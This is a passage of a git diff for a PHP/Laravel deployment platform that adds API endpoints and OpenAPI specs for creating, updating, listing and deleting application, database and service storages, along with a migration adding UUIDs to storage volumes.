+ ),
+ ],
+ responses: [
+ new OA\Response(response: 200, description: 'Storage deleted.', content: new OA\JsonContent(
+ properties: [new OA\Property(property: 'message', type: 'string')],
+ )),
+ new OA\Response(response: 401, ref: '#/components/responses/401'),
+ new OA\Response(response: 400, ref: '#/components/responses/400'),
+ new OA\Response(response: 404, ref: '#/components/responses/404'),
+ new OA\Response(response: 422, ref: '#/components/responses/422'),
+ ]
+ )]
+ public function delete_storage(Request $request): JsonResponse
+ {
+ $teamId = getTeamIdFromToken();
+ if (is_null($teamId)) {
+ return invalidTokenResponse();
+ }
+
+ $service = Service::whereRelation('environment.project.team', 'id', $teamId)->whereUuid($request->uuid)->first();
+ if (! $service) {
+ return response()->json(['message' => 'Service not found.'], 404);
+ }
+
+ $this->authorize('update', $service);
+
+ $storageUuid = $request->route('storage_uuid');
+
+ $storage = null;
+ foreach ($service->applications as $app) {
+ $storage = $app->persistentStorages->where('uuid', $storageUuid)->first();
+ if ($storage) {
+ break;
+ }
+ }
+ if (! $storage) {
+ foreach ($service->databases as $db) {
+ $storage = $db->persistentStorages->where('uuid', $storageUuid)->first();
+ if ($storage) {
+ break;
+ }
+ }
+ }
+ if (! $storage) {
+ foreach ($service->applications as $app) {
+ $storage = $app->fileStorages->where('uuid', $storageUuid)->first();
+ if ($storage) {
+ break;
+ }
+ }
+ }
+ if (! $storage) {
+ foreach ($service->databases as $db) {
+ $storage = $db->fileStorages->where('uuid', $storageUuid)->first();
+ if ($storage) {
+ break;
+ }
+ }
+ }
+
+ if (! $storage) {
+ return response()->json(['message' => 'Storage not found.'], 404);
+ }
+
+ if ($storage->shouldBeReadOnlyInUI()) {
+ return response()->json([
+ 'message' => 'This storage is read-only (managed by docker-compose or service definition) and cannot be deleted.',
+ ], 422);
+ }
+
+ if ($storage instanceof LocalFileVolume) {
+ $storage->deleteStorageOnServer();
+ }
+
+ $storage->delete();
+
+ return response()->json(['message' => 'Storage deleted.']);
+ }
}
diff --git a/app/Models/LocalPersistentVolume.php b/app/Models/LocalPersistentVolume.php
index 1721f4afe..9d539f8ec 100644
--- a/app/Models/LocalPersistentVolume.php
+++ b/app/Models/LocalPersistentVolume.php
@@ -3,10 +3,9 @@
namespace App\Models;
use Illuminate\Database\Eloquent\Casts\Attribute;
-use Illuminate\Database\Eloquent\Model;
use Symfony\Component\Yaml\Yaml;
-class LocalPersistentVolume extends Model
+class LocalPersistentVolume extends BaseModel
{
protected $guarded = [];
diff --git a/bootstrap/helpers/shared.php b/bootstrap/helpers/shared.php
index 26aa21a7b..ce9ab5283 100644
--- a/bootstrap/helpers/shared.php
+++ b/bootstrap/helpers/shared.php
@@ -339,7 +339,9 @@ function generate_application_name(string $git_repository, string $git_branch, ?
$cuid = new Cuid2;
}
- return Str::kebab("$git_repository:$git_branch-$cuid");
+ $repo_name = str_contains($git_repository, '/') ? last(explode('/', $git_repository)) : $git_repository;
+
+ return Str::kebab("$repo_name:$git_branch-$cuid");
}
/**
diff --git a/database/migrations/2026_03_23_101720_add_uuid_to_local_persistent_volumes_table.php b/database/migrations/2026_03_23_101720_add_uuid_to_local_persistent_volumes_table.php
new file mode 100644
index 000000000..6b4fb690d
--- /dev/null
+++ b/database/migrations/2026_03_23_101720_add_uuid_to_local_persistent_volumes_table.php
@@ -0,0 +1,39 @@
+string('uuid')->nullable()->after('id');
+ });
+
+ DB::table('local_persistent_volumes')
+ ->whereNull('uuid')
+ ->orderBy('id')
+ ->chunk(1000, function ($volumes) {
+ foreach ($volumes as $volume) {
+ DB::table('local_persistent_volumes')
+ ->where('id', $volume->id)
+ ->update(['uuid' => (string) new Cuid2]);
+ }
+ });
+
+ Schema::table('local_persistent_volumes', function (Blueprint $table) {
+ $table->string('uuid')->nullable(false)->unique()->change();
+ });
+ }
+
+ public function down(): void
+ {
+ Schema::table('local_persistent_volumes', function (Blueprint $table) {
+ $table->dropColumn('uuid');
+ });
+ }
+};
diff --git a/openapi.json b/openapi.json
index d119176a1..aec5a2843 100644
--- a/openapi.json
+++ b/openapi.json
@@ -3502,6 +3502,105 @@
}
]
},
+ "post": {
+ "tags": [
+ "Applications"
+ ],
+ "summary": "Create Storage",
+ "description": "Create a persistent storage or file storage for an application.",
+ "operationId": "create-storage-by-application-uuid",
+ "parameters": [
+ {
+ "name": "uuid",
+ "in": "path",
+ "description": "UUID of the application.",
+ "required": true,
+ "schema": {
+ "type": "string"
+ }
+ }
+ ],
+ "requestBody": {
+ "required": true,
+ "content": {
+ "application\/json": {
+ "schema": {
+ "required": [
+ "type",
+ "mount_path"
+ ],
+ "properties": {
+ "type": {
+ "type": "string",
+ "enum": [
+ "persistent",
+ "file"
+ ],
+ "description": "The type of storage."
+ },
+ "name": {
+ "type": "string",
+ "description": "Volume name (persistent only, required for persistent)."
+ },
+ "mount_path": {
+ "type": "string",
+ "description": "The container mount path."
+ },
+ "host_path": {
+ "type": "string",
+ "nullable": true,
+ "description": "The host path (persistent only, optional)."
+ },
+ "content": {
+ "type": "string",
+ "nullable": true,
+ "description": "File content (file only, optional)."
+ },
+ "is_directory": {
+ "type": "boolean",
+ "description": "Whether this is a directory mount (file only, default false)."
+ },
+ "fs_path": {
+ "type": "string",
+ "description": "Host directory path (required when is_directory is true)."
+ }
+ },
+ "type": "object",
+ "additionalProperties": false
+ }
+ }
+ }
+ },
+ "responses": {
+ "201": {
+ "description": "Storage created.",
+ "content": {
+ "application\/json": {
+ "schema": {
+ "type": "object"
+ }
+ }
+ }
+ },
+ "401": {
+ "$ref": "#\/components\/responses\/401"
+ },
+ "400": {
+ "$ref": "#\/components\/responses\/400"
+ },
+ "404": {
+ "$ref": "#\/components\/responses\/404"
+ },
+ "422": {
+ "$ref": "#\/components\/responses\/422"
+ }
+ },
+ "security": [
+ {
+ "bearerAuth": []
+ }
+ ]
+ },
"patch": {
"tags": [
"Applications"
@@ -3527,13 +3626,16 @@
"application\/json": {
"schema": {
"required": [
- "id",
"type"
],
"properties": {
+ "uuid": {
+ "type": "string",
+ "description": "The UUID of the storage (preferred)."
+ },
"id": {
"type": "integer",
- "description": "The ID of the storage."
+ "description": "The ID of the storage (deprecated, use uuid instead)."
},
"type": {
"type": "string",
@@ -3603,6 +3705,70 @@
]
}
},
+ "\/applications\/{uuid}\/storages\/{storage_uuid}": {
+ "delete": {
+ "tags": [
+ "Applications"
+ ],
+ "summary": "Delete Storage",
+ "description": "Delete a persistent storage or file storage by application UUID.",
+ "operationId": "delete-storage-by-application-uuid",
+ "parameters": [
+ {
+ "name": "uuid",
+ "in": "path",
+ "description": "UUID of the application.",
+ "required": true,
+ "schema": {
+ "type": "string"
+ }
+ },
+ {
+ "name": "storage_uuid",
+ "in": "path",
+ "description": "UUID of the storage.",
+ "required": true,
+ "schema": {
+ "type": "string"
+ }
+ }
+ ],
+ "responses": {
+ "200": {
+ "description": "Storage deleted.",
+ "content": {
+ "application\/json": {
+ "schema": {
+ "properties": {
+ "message": {
+ "type": "string"
+ }
+ },
+ "type": "object"
+ }
+ }
+ }
+ },
+ "401": {
+ "$ref": "#\/components\/responses\/401"
+ },
+ "400": {
+ "$ref": "#\/components\/responses\/400"
+ },
+ "404": {
+ "$ref": "#\/components\/responses\/404"
+ },
+ "422": {
+ "$ref": "#\/components\/responses\/422"
+ }
+ },
+ "security": [
+ {
+ "bearerAuth": []
+ }
+ ]
+ }
+ },
"\/cloud-tokens": {
"get": {
"tags": [
@@ -6513,6 +6679,333 @@
]
}
},
+ "\/databases\/{uuid}\/storages": {
+ "get": {
+ "tags": [
+ "Databases"
+ ],
+ "summary": "List Storages",
+ "description": "List all persistent storages and file storages by database UUID.",
+ "operationId": "list-storages-by-database-uuid",
+ "parameters": [
+ {
+ "name": "uuid",
+ "in": "path",
+ "description": "UUID of the database.",
+ "required": true,
+ "schema": {
+ "type": "string"
+ }
+ }
+ ],
+ "responses": {
+ "200": {
+ "description": "All storages by database UUID.",
+ "content": {
+ "application\/json": {
+ "schema": {
+ "properties": {
+ "persistent_storages": {
+ "type": "array",
+ "items": {
+ "type": "object"
+ }
+ },
+ "file_storages": {
+ "type": "array",
+ "items": {
+ "type": "object"
+ }
+ }
+ },
+ "type": "object"
+ }
+ }
+ }
+ },
+ "401": {
+ "$ref": "#\/components\/responses\/401"
+ },
+ "400": {
+ "$ref": "#\/components\/responses\/400"
+ },
+ "404": {
+ "$ref": "#\/components\/responses\/404"
+ }
+ },
+ "security": [
+ {
+ "bearerAuth": []
+ }
+ ]
+ },
+ "post": {
+ "tags": [
+ "Databases"
+ ],
+ "summary": "Create Storage",
+ "description": "Create a persistent storage or file storage for a database.",
+ "operationId": "create-storage-by-database-uuid",
+ "parameters": [
+ {
+ "name": "uuid",
+ "in": "path",
+ "description": "UUID of the database.",
+ "required": true,
+ "schema": {
+ "type": "string"
+ }
+ }
+ ],
+ "requestBody": {
+ "required": true,
+ "content": {
+ "application\/json": {
+ "schema": {
+ "required": [
+ "type",
+ "mount_path"
+ ],
+ "properties": {
+ "type": {
+ "type": "string",
+ "enum": [
+ "persistent",
+ "file"
+ ],
+ "description": "The type of storage."
+ },
+ "name": {
+ "type": "string",
+ "description": "Volume name (persistent only, required for persistent)."
+ },
+ "mount_path": {
+ "type": "string",
+ "description": "The container mount path."
+ },
+ "host_path": {
+ "type": "string",
+ "nullable": true,
+ "description": "The host path (persistent only, optional)."
+ },
+ "content": {
+ "type": "string",
+ "nullable": true,
+ "description": "File content (file only, optional)."
+ },
+ "is_directory": {
+ "type": "boolean",
+ "description": "Whether this is a directory mount (file only, default false)."
+ },
+ "fs_path": {
+ "type": "string",
+ "description": "Host directory path (required when is_directory is true)."
+ }
+ },
+ "type": "object",
+ "additionalProperties": false
+ }
+ }
+ }
+ },
+ "responses": {
+ "201": {
+ "description": "Storage created.",
+ "content": {
+ "application\/json": {
+ "schema": {
+ "type": "object"
+ }
+ }
+ }
+ },
+ "401": {
+ "$ref": "#\/components\/responses\/401"
+ },
+ "400": {
+ "$ref": "#\/components\/responses\/400"
+ },
+ "404": {
+ "$ref": "#\/components\/responses\/404"
+ },
+ "422": {
+ "$ref": "#\/components\/responses\/422"
+ }
+ },
+ "security": [
+ {
+ "bearerAuth": []
+ }
+ ]
+ },
+ "patch": {
+ "tags": [
+ "Databases"
+ ],
+ "summary": "Update Storage",
+ "description": "Update a persistent storage or file storage by database UUID.",
+ "operationId": "update-storage-by-database-uuid",
+ "parameters": [
+ {
+ "name": "uuid",
+ "in": "path",
+ "description": "UUID of the database.",
+ "required": true,
+ "schema": {
+ "type": "string"
+ }
+ }
+ ],
+ "requestBody": {
+ "description": "Storage updated. For read-only storages (from docker-compose or services), only is_preview_suffix_enabled can be updated.",
+ "required": true,
+ "content": {
+ "application\/json": {
+ "schema": {
+ "required": [
+ "type"
+ ],
+ "properties": {
+ "uuid": {
+ "type": "string",
+ "description": "The UUID of the storage (preferred)."
+ },
+ "id": {
+ "type": "integer",
+ "description": "The ID of the storage (deprecated, use uuid instead)."
+ },
+ "type": {
+ "type": "string",
+ "enum": [
+ "persistent",
+ "file"
+ ],
+ "description": "The type of storage: persistent or file."
+ },
+ "is_preview_suffix_enabled": {
+ "type": "boolean",
+ "description": "Whether to add -pr-N suffix for preview deployments."
+ },
+ "name": {
+ "type": "string",
+ "description": "The volume name (persistent only, not allowed for read-only storages)."
+ },
+ "mount_path": {
+ "type": "string",
+ "description": "The container mount path (not allowed for read-only storages)."
+ },
+ "host_path": {
+ "type": "string",
+ "nullable": true,
+ "description": "The host path (persistent only, not allowed for read-only storages)."
+ },
+ "content": {
+ "type": "string",
+ "nullable": true,
+ "description": "The file content (file only, not allowed for read-only storages)."
+ }
+ },
+ "type": "object",
+ "additionalProperties": false
+ }
+ }
+ }
+ },
+ "responses": {
+ "200": {
+ "description": "Storage updated.",
+ "content": {
+ "application\/json": {
+ "schema": {
+ "type": "object"
+ }
+ }
+ }
+ },
+ "401": {
+ "$ref": "#\/components\/responses\/401"
+ },
+ "400": {
+ "$ref": "#\/components\/responses\/400"
+ },
+ "404": {
+ "$ref": "#\/components\/responses\/404"
+ },
+ "422": {
+ "$ref": "#\/components\/responses\/422"
+ }
+ },
+ "security": [
+ {
+ "bearerAuth": []
+ }
+ ]
+ }
+ },
+ "\/databases\/{uuid}\/storages\/{storage_uuid}": {
+ "delete": {
+ "tags": [
+ "Databases"
+ ],
+ "summary": "Delete Storage",
+ "description": "Delete a persistent storage or file storage by database UUID.",
+ "operationId": "delete-storage-by-database-uuid",
+ "parameters": [
+ {
+ "name": "uuid",
+ "in": "path",
+ "description": "UUID of the database.",
+ "required": true,
+ "schema": {
+ "type": "string"
+ }
+ },
+ {
+ "name": "storage_uuid",
+ "in": "path",
+ "description": "UUID of the storage.",
+ "required": true,
+ "schema": {
+ "type": "string"
+ }
+ }
+ ],
+ "responses": {
+ "200": {
+ "description": "Storage deleted.",
+ "content": {
+ "application\/json": {
+ "schema": {
+ "properties": {
+ "message": {
+ "type": "string"
+ }
+ },
+ "type": "object"
+ }
+ }
+ }
+ },
+ "401": {
+ "$ref": "#\/components\/responses\/401"
+ },
+ "400": {
+ "$ref": "#\/components\/responses\/400"
+ },
+ "404": {
+ "$ref": "#\/components\/responses\/404"
+ },
+ "422": {
+ "$ref": "#\/components\/responses\/422"
+ }
+ },
+ "security": [
+ {
+ "bearerAuth": []
+ }
+ ]
+ }
+ },
"\/deployments": {
"get": {
"tags": [
@@ -11238,6 +11731,338 @@
]
}
},
+ "\/services\/{uuid}\/storages": {
+ "get": {
+ "tags": [
+ "Services"
+ ],
+ "summary": "List Storages",
+ "description": "List all persistent storages and file storages by service UUID.",
+ "operationId": "list-storages-by-service-uuid",
+ "parameters": [
+ {
+ "name": "uuid",
+ "in": "path",
+ "description": "UUID of the service.",
+ "required": true,
+ "schema": {
+ "type": "string"
+ }
+ }
+ ],
+ "responses": {
+ "200": {
+ "description": "All storages by service UUID.",
+ "content": {
+ "application\/json": {
+ "schema": {
+ "properties": {
+ "persistent_storages": {
+ "type": "array",
+ "items": {
+ "type": "object"
+ }
+ },
+ "file_storages": {
+ "type": "array",
+ "items": {
+ "type": "object"
+ }
+ }
+ },
+ "type": "object"
+ }
+ }
+ }
+ },
+ "401": {
+ "$ref": "#\/components\/responses\/401"
+ },
+ "400": {
+ "$ref": "#\/components\/responses\/400"
+ },
+ "404": {
+ "$ref": "#\/components\/responses\/404"
+ }
+ },
+ "security": [
+ {
+ "bearerAuth": []
+ }
+ ]
+ },
+ "post": {
+ "tags": [
+ "Services"
+ ],
+ "summary": "Create Storage",
+ "description": "Create a persistent storage or file storage for a service sub-resource.",
+ "operationId": "create-storage-by-service-uuid",
+ "parameters": [
+ {
+ "name": "uuid",
+ "in": "path",
+ "description": "UUID of the service.",
+ "required": true,
+ "schema": {
+ "type": "string"
+ }
+ }
+ ],
+ "requestBody": {
+ "required": true,
+ "content": {
+ "application\/json": {
+ "schema": {
+ "required": [
+ "type",
+ "mount_path",
+ "resource_uuid"
+ ],
+ "properties": {
+ "type": {
+ "type": "string",
+ "enum": [
+ "persistent",
+ "file"
+ ],
+ "description": "The type of storage."
+ },
+ "resource_uuid": {
+ "type": "string",
+ "description": "UUID of the service application or database sub-resource."
+ },
+ "name": {
+ "type": "string",
+ "description": "Volume name (persistent only, required for persistent)."
+ },
+ "mount_path": {
+ "type": "string",
+ "description": "The container mount path."
+ },
+ "host_path": {
+ "type": "string",
+ "nullable": true,
+ "description": "The host path (persistent only, optional)."
+ },
+ "content": {
+ "type": "string",
+ "nullable": true,
+ "description": "File content (file only, optional)."
+ },
+ "is_directory": {
+ "type": "boolean",
+ "description": "Whether this is a directory mount (file only, default false)."
+ },
+ "fs_path": {
+ "type": "string",
+ "description": "Host directory path (required when is_directory is true)."
+ }
+ },
+ "type": "object",
+ "additionalProperties": false
+ }
+ }
+ }
+ },
+ "responses": {
+ "201": {
+ "description": "Storage created.",
+ "content": {
+ "application\/json": {
+ "schema": {
+ "type": "object"
+ }
+ }
+ }
+ },
+ "401": {
+ "$ref": "#\/components\/responses\/401"
+ },
+ "400": {
+ "$ref": "#\/components\/responses\/400"
+ },
+ "404": {
+ "$ref": "#\/components\/responses\/404"
+ },
+ "422": {
+ "$ref": "#\/components\/responses\/422"
+ }
+ },
+ "security": [
+ {
+ "bearerAuth": []
+ }
+ ]
+ },
+ "patch": {
+ "tags": [
+ "Services"
+ ],
+ "summary": "Update Storage",
+ "description": "Update a persistent storage or file storage by service UUID.",
+ "operationId": "update-storage-by-service-uuid",
+ "parameters": [
+ {
+ "name": "uuid",
+ "in": "path",
+ "description": "UUID of the service.",
+ "required": true,
+ "schema": {
+ "type": "string"
+ }
+ }
+ ],
+ "requestBody": {
+ "description": "Storage updated. For read-only storages (from docker-compose or services), only is_preview_suffix_enabled can be updated.",
+ "required": true,
+ "content": {
+ "application\/json": {
+ "schema": {
+ "required": [
+ "type"
+ ],
+ "properties": {
+ "uuid": {
+ "type": "string",
+ "description": "The UUID of the storage (preferred)."
+ },
+ "id": {
+ "type": "integer",
+ "description": "The ID of the storage (deprecated, use uuid instead)."
+ },
+ "type": {
+ "type": "string",
+ "enum": [
+ "persistent",
+ "file"
+ ],
+ "description": "The type of storage: persistent or file."
+ },
+ "is_preview_suffix_enabled": {
+ "type": "boolean",
+ "description": "Whether to add -pr-N suffix for preview deployments."
+ },
+ "name": {
+ "type": "string",
+ "description": "The volume name (persistent only, not allowed for read-only storages)."
+ },
+ "mount_path": {
+ "type": "string",
+ "description": "The container mount path (not allowed for read-only storages)."
+ },
+ "host_path": {
+ "type": "string",
+ "nullable": true,
+ "description": "The host path (persistent only, not allowed for read-only storages)."
+ },
+ "content": {
+ "type": "string",
+ "nullable": true,
+ "description": "The file content (file only, not allowed for read-only storages)."
+ }
+ },
+ "type": "object",
+ "additionalProperties": false
+ }
+ }
+ }
+ },
+ "responses": {
+ "200": {
+ "description": "Storage updated.",
+ "content": {
+ "application\/json": {
+ "schema": {
+ "type": "object"
+ }
+ }
+ }
+ },
+ "401": {
+ "$ref": "#\/components\/responses\/401"
+ },
+ "400": {
+ "$ref": "#\/components\/responses\/400"
+ },
+ "404": {
+ "$ref": "#\/components\/responses\/404"
+ },
+ "422": {
+ "$ref": "#\/components\/responses\/422"
+ }
+ },
+ "security": [
+ {
+ "bearerAuth": []
+ }
+ ]
+ }
+ },
+ "\/services\/{uuid}\/storages\/{storage_uuid}": {
+ "delete": {
+ "tags": [
+ "Services"
+ ],
+ "summary": "Delete Storage",
+ "description": "Delete a persistent storage or file storage by service UUID.",
+ "operationId": "delete-storage-by-service-uuid",
+ "parameters": [
+ {
+ "name": "uuid",
+ "in": "path",
+ "description": "UUID of the service.",
+ "required": true,
+ "schema": {
+ "type": "string"
+ }
+ },
+ {
+ "name": "storage_uuid",
+ "in": "path",
+ "description": "UUID of the storage.",
+ "required": true,
+ "schema": {
+ "type": "string"
+ }
+ }
+ ],
+ "responses": {
+ "200": {
+ "description": "Storage deleted.",
+ "content": {
+ "application\/json": {
+ "schema": {
+ "properties": {
+ "message": {
+ "type": "string"
+ }
+ },
+ "type": "object"
+ }
+ }
+ }
+ },
+ "401": {
+ "$ref": "#\/components\/responses\/401"
+ },
+ "400": {
+ "$ref": "#\/components\/responses\/400"
+ },
+ "404": {
+ "$ref": "#\/components\/responses\/404"
+ },
+ "422": {
+ "$ref": "#\/components\/responses\/422"
+ }
+ },
+ "security": [
+ {
+ "bearerAuth": []
+ }
+ ]
+ }
+ },
"\/teams": {
"get": {
"tags": [
diff --git a/openapi.yaml b/openapi.yaml
index 7064be28a..93038ce80 100644
--- a/openapi.yaml
+++ b/openapi.yaml
@@ -2204,6 +2204,73 @@ paths:
security:
-
bearerAuth: []
+ post:
+ tags:
+ - Applications
+ summary: 'Create Storage'
+ description: 'Create a persistent storage or file storage for an application.'
+ operationId: create-storage-by-application-uuid
+ parameters:
+ -
+ name: uuid
+ in: path
+ description: 'UUID of the application.'
+ required: true
+ schema:
+ type: string
+ requestBody:
+ required: true
+ content:
+ application/json:
+ schema:
+ required:
+ - type
+ - mount_path
+ properties:
+ type:
+ type: string
+ enum: [persistent, file]
+ description: 'The type of storage.'
+ name:
+ type: string
+ description: 'Volume name (persistent only, required for persistent).'
+ mount_path:
+ type: string
+ description: 'The container mount path.'
+ host_path:
+ type: string
+ nullable: true
+ description: 'The host path (persistent only, optional).'
+ content:
+ type: string
+ nullable: true
+ description: 'File content (file only, optional).'
+ is_directory:
+ type: boolean
+ description: 'Whether this is a directory mount (file only, default false).'
+ fs_path:
+ type: string
+ description: 'Host directory path (required when is_directory is true).'
+ type: object
+ additionalProperties: false
+ responses:
+ '201':
+ description: 'Storage created.'
+ content:
+ application/json:
+ schema:
+ type: object
+ '401':
+ $ref: '#/components/responses/401'
+ '400':
+ $ref: '#/components/responses/400'
+ '404':
+ $ref: '#/components/responses/404'
+ '422':
+ $ref: '#/components/responses/422'
+ security:
+ -
+ bearerAuth: []
patch:
tags:
- Applications
@@ -2225,12 +2292,14 @@ paths:
application/json:
schema:
required:
- - id
- type
properties:
+ uuid:
+ type: string
+ description: 'The UUID of the storage (preferred).'
id:
type: integer
- description: 'The ID of the storage.'
+ description: 'The ID of the storage (deprecated, use uuid instead).'
type:
type: string
enum: [persistent, file]
@@ -2272,6 +2341,48 @@ paths:
security:
-
bearerAuth: []
+ '/applications/{uuid}/storages/{storage_uuid}':
+ delete:
+ tags:
+ - Applications
+ summary: 'Delete Storage'
+ description: 'Delete a persistent storage or file storage by application UUID.'
+ operationId: delete-storage-by-application-uuid
+ parameters:
+ -
+ name: uuid
+ in: path
+ description: 'UUID of the application.'
+ required: true
+ schema:
+ type: string
+ -
+ name: storage_uuid
+ in: path
+ description: 'UUID of the storage.'
+ required: true
+ schema:
+ type: string
+ responses:
+ '200':
+ description: 'Storage deleted.'
+ content:
+ application/json:
+ schema:
+ properties:
+ message: { type: string }
+ type: object
+ '401':
+ $ref: '#/components/responses/401'
+ '400':
+ $ref: '#/components/responses/400'
+ '404':
+ $ref: '#/components/responses/404'
+ '422':
+ $ref: '#/components/responses/422'
+ security:
+ -
+ bearerAuth: []
/cloud-tokens:
get:
tags:
@@ -4209,6 +4320,219 @@ paths:
security:
-
bearerAuth: []
+ '/databases/{uuid}/storages':
+ get:
+ tags:
+ - Databases
+ summary: 'List Storages'
+ description: 'List all persistent storages and file storages by database UUID.'
+ operationId: list-storages-by-database-uuid
+ parameters:
+ -
+ name: uuid
+ in: path
+ description: 'UUID of the database.'
+ required: true
+ schema:
+ type: string
+ responses:
+ '200':
+ description: 'All storages by database UUID.'
+ content:
+ application/json:
+ schema:
+ properties:
+ persistent_storages: { type: array, items: { type: object } }
+ file_storages: { type: array, items: { type: object } }
+ type: object
+ '401':
+ $ref: '#/components/responses/401'
+ '400':
+ $ref: '#/components/responses/400'
+ '404':
+ $ref: '#/components/responses/404'
+ security:
+ -
+ bearerAuth: []
+ post:
+ tags:
+ - Databases
+ summary: 'Create Storage'
+ description: 'Create a persistent storage or file storage for a database.'
+ operationId: create-storage-by-database-uuid
+ parameters:
+ -
+ name: uuid
+ in: path
+ description: 'UUID of the database.'
+ required: true
+ schema:
+ type: string
+ requestBody:
+ required: true
+ content:
+ application/json:
+ schema:
+ required:
+ - type
+ - mount_path
+ properties:
+ type:
+ type: string
+ enum: [persistent, file]
+ description: 'The type of storage.'
+ name:
+ type: string
+ description: 'Volume name (persistent only, required for persistent).'
+ mount_path:
+ type: string
+ description: 'The container mount path.'
+ host_path:
+ type: string
+ nullable: true
+ description: 'The host path (persistent only, optional).'
+ content:
+ type: string
+ nullable: true
+ description: 'File content (file only, optional).'
+ is_directory:
+ type: boolean
+ description: 'Whether this is a directory mount (file only, default false).'
+ fs_path:
+ type: string
+ description: 'Host directory path (required when is_directory is true).'
+ type: object
+ additionalProperties: false
+ responses:
+ '201':
+ description: 'Storage created.'
+ content:
+ application/json:
+ schema:
+ type: object
+ '401':
+ $ref: '#/components/responses/401'
+ '400':
+ $ref: '#/components/responses/400'
+ '404':
+ $ref: '#/components/responses/404'
+ '422':
+ $ref: '#/components/responses/422'
+ security:
+ -
+ bearerAuth: []
+ patch:
+ tags:
+ - Databases
+ summary: 'Update Storage'
+ description: 'Update a persistent storage or file storage by database UUID.'
+ operationId: update-storage-by-database-uuid
+ parameters:
+ -
+ name: uuid
+ in: path
+ description: 'UUID of the database.'
+ required: true
+ schema:
+ type: string
+ requestBody:
+ description: 'Storage updated. For read-only storages (from docker-compose or services), only is_preview_suffix_enabled can be updated.'
+ required: true
+ content:
+ application/json:
+ schema:
+ required:
+ - type
+ properties:
+ uuid:
+ type: string
+ description: 'The UUID of the storage (preferred).'
+ id:
+ type: integer
+ description: 'The ID of the storage (deprecated, use uuid instead).'
+ type:
+ type: string
+ enum: [persistent, file]
+ description: 'The type of storage: persistent or file.'
+ is_preview_suffix_enabled:
+ type: boolean
+ description: 'Whether to add -pr-N suffix for preview deployments.'
+ name:
+ type: string
+ description: 'The volume name (persistent only, not allowed for read-only storages).'
+ mount_path:
+ type: string
+ description: 'The container mount path (not allowed for read-only storages).'
+ host_path:
+ type: string
+ nullable: true
+ description: 'The host path (persistent only, not allowed for read-only storages).'
+ content:
+ type: string
+ nullable: true
+ description: 'The file content (file only, not allowed for read-only storages).'
+ type: object
+ additionalProperties: false
+ responses:
+ '200':
+ description: 'Storage updated.'
+ content:
+ application/json:
+ schema:
+ type: object
+ '401':
+ $ref: '#/components/responses/401'
+ '400':
+ $ref: '#/components/responses/400'
+ '404':
+ $ref: '#/components/responses/404'
+ '422':
+ $ref: '#/components/responses/422'
+ security:
+ -
+ bearerAuth: []
+ '/databases/{uuid}/storages/{storage_uuid}':
+ delete:
+ tags:
+ - Databases
+ summary: 'Delete Storage'
+ description: 'Delete a persistent storage or file storage by database UUID.'
+ operationId: delete-storage-by-database-uuid
+ parameters:
+ -
+ name: uuid
+ in: path
+ description: 'UUID of the database.'
+ required: true
+ schema:
+ type: string
+ -
+ name: storage_uuid
+ in: path
+ description: 'UUID of the storage.'
+ required: true
+ schema:
+ type: string
+ responses:
+ '200':
+ description: 'Storage deleted.'
+ content:
+ application/json:
+ schema:
+ properties:
+ message: { type: string }
+ type: object
+ '401':
+ $ref: '#/components/responses/401'
+ '400':
+ $ref: '#/components/responses/400'
+ '404':
+ $ref: '#/components/responses/404'
+ '422':
+ $ref: '#/components/responses/422'
+ security:
+ -
+ bearerAuth: []
/deployments:
get:
tags:
@@ -7070,6 +7394,223 @@ paths:
security:
-
bearerAuth: []
+ '/services/{uuid}/storages':
+ get:
+ tags:
+ - Services
+ summary: 'List Storages'
+ description: 'List all persistent storages and file storages by service UUID.'
+ operationId: list-storages-by-service-uuid
+ parameters:
+ -
+ name: uuid
+ in: path
+ description: 'UUID of the service.'
+ required: true
+ schema:
+ type: string
+ responses:
+ '200':
+ description: 'All storages by service UUID.'
+ content:
+ application/json:
+ schema:
+ properties:
+ persistent_storages: { type: array, items: { type: object } }
+ file_storages: { type: array, items: { type: object } }
+ type: object
+ '401':
+ $ref: '#/components/responses/401'
+ '400':
+ $ref: '#/components/responses/400'
+ '404':
+ $ref: '#/components/responses/404'
+ security:
+ -
+ bearerAuth: []
+ post:
+ tags:
+ - Services
+ summary: 'Create Storage'
+ description: 'Create a persistent storage or file storage for a service sub-resource.'
+ operationId: create-storage-by-service-uuid
+ parameters:
+ -
+ name: uuid
+ in: path
+ description: 'UUID of the service.'
+ required: true
+ schema:
+ type: string
+ requestBody:
+ required: true
+ content:
+ application/json:
+ schema:
+ required:
+ - type
+ - mount_path
+ - resource_uuid
+ properties:
+ type:
+ type: string
+ enum: [persistent, file]
+ description: 'The type of storage.'
+ resource_uuid:
+ type: string
+ description: 'UUID of the service application or database sub-resource.'
+ name:
+ type: string
+ description: 'Volume name (persistent only, required for persistent).'
+ mount_path:
+ type: string
+ description: 'The container mount path.'
+ host_path:
+ type: string
+ nullable: true
+ description: 'The host path (persistent only, optional).'
+ content:
+ type: string
+ nullable: true
+ description: 'File content (file only, optional).'
+ is_directory:
+ type: boolean
+ description: 'Whether this is a directory mount (file only, default false).'
+ fs_path:
+ type: string
+ description: 'Host directory path (required when is_directory is true).'
+ type: object
+ additionalProperties: false
+ responses:
+ '201':
+ description: 'Storage created.'
+ content:
+ application/json:
+ schema:
+ type: object
+ '401':
+ $ref: '#/components/responses/401'
+ '400':
+ $ref: '#/components/responses/400'
+ '404':
+ $ref: '#/components/responses/404'
+ '422':
+ $ref: '#/components/responses/422'
+ security:
+ -
+ bearerAuth: []
+ patch:
+ tags:
+ - Services
+ summary: 'Update Storage'
+ description: 'Update a persistent storage or file storage by service UUID.'
+ operationId: update-storage-by-service-uuid
+ parameters:
+ -
+ name: uuid
+ in: path
+ description: 'UUID of the service.'
+ required: true
+ schema:
+ type: string
+ requestBody:
+ description: 'Storage updated. For read-only storages (from docker-compose or services), only is_preview_suffix_enabled can be updated.'
+ required: true
+ content:
+ application/json:
+ schema:
+ required:
+ - type
+ properties:
+ uuid:
+ type: string
+ description: 'The UUID of the storage (preferred).'
+ id:
+ type: integer
+ description: 'The ID of the storage (deprecated, use uuid instead).'
+ type:
+ type: string
+ enum: [persistent, file]
+ description: 'The type of storage: persistent or file.'
+ is_preview_suffix_enabled:
+ type: boolean
+ description: 'Whether to add -pr-N suffix for preview deployments.'
+ name:
+ type: string
+ description: 'The volume name (persistent only, not allowed for read-only storages).'
+ mount_path:
+ type: string
+ description: 'The container mount path (not allowed for read-only storages).'
+ host_path:
+ type: string
+ nullable: true
+ description: 'The host path (persistent only, not allowed for read-only storages).'
+ content:
+ type: string
+ nullable: true
+ description: 'The file content (file only, not allowed for read-only storages).'
+ type: object
+ additionalProperties: false
+ responses:
+ '200':
